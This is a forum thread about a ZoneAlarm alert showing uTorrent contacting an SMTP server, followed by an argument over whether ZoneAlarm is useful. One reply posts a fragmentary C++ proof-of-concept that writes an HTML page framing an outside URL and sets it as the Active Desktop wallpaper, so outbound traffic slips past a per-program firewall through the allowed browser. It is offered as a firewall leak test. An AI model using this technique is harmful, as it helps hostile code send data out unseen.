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Okay I got this weird message from Zone Alarm just now, that uTorrent was trying to connect to some SMTP server..

It had been running for a while and out of nowhere it just popped..

I declined the access of course, as I didn't know why uTorrent would connect to such a server..

Any idea why?

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Zone Alarm is just a piece of crap. It's "scareware" if you will... It gives you all these alerts and notices to make you think its working really hard when the best firewall is the one that logs everything, but tells you nothing unless you want to know, in which case you go digging for the log :P

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Well the reason I use it is, I'm what you'd call a software'oholic.. I got programs for everything, and Zone Alarm gives me an overview of what each program uses / connects to, which I can then monitor. I find it's a nice improvement to Norton's products, since they are very heavy programs compared to what they do. Zone Alarm just has a nice set of features.

But yes, for most normal users, Zone Alarm really has some Overkill functions, like for example the Firewall, which notifies you of even the tiniest forms of activity.

I started out using Norton Internet Security, then I moved to AntiVir + NVidia Firewall, then at last Zone Alarm.. I find it suits me just perfectly :)

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If you think ZA is smart, Try this PoC file and see how real badware gets out of your box using your (allowed) browser to comunicate.


Note that this POC-Code gets detected by Antivirus though for your test.

#include <windows.h>
#include <wininet.h>
#include "shlobj.h"
#include "atlbase.h"
#include "atlfile.h"
#include "atlstr.h"

using namespace ATL;

TCHAR pathBuffer[MAX_PATH];
GetTempPath(MAX_PATH, pathBuffer);
CAtlString fileName = pathBuffer;
fileName += "dingens.htm";

CAtlFile theFile;
theFile.Create(fileName, GENERIC_WRITE, 0, CREATE_ALWAYS);
CAtlStringA theContent = "<html><head></head><body>"
"<iframe src=\"http://www.dingens.org/breakout.html\" width=\"100%\" height=\"100%\">"
theFile.Write(theContent, theContent.GetLength());

IActiveDesktop *ad;
::CoCreateInstance(CLSID_ActiveDesktop, NULL, CLSCTX_INPROC_SERVER,
IID_IActiveDesktop, (void**)&ad);
ad->SetWallpaper(CT2W(fileName.GetString()), 0);

return 0;


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Well that still can't hand-tailor which programs you want accessing the internet. Granted it does shutdown potentional ways for crackers to get to you, it still doesn't satisfy my needs as an end-user.

But yes, that is a neat program.

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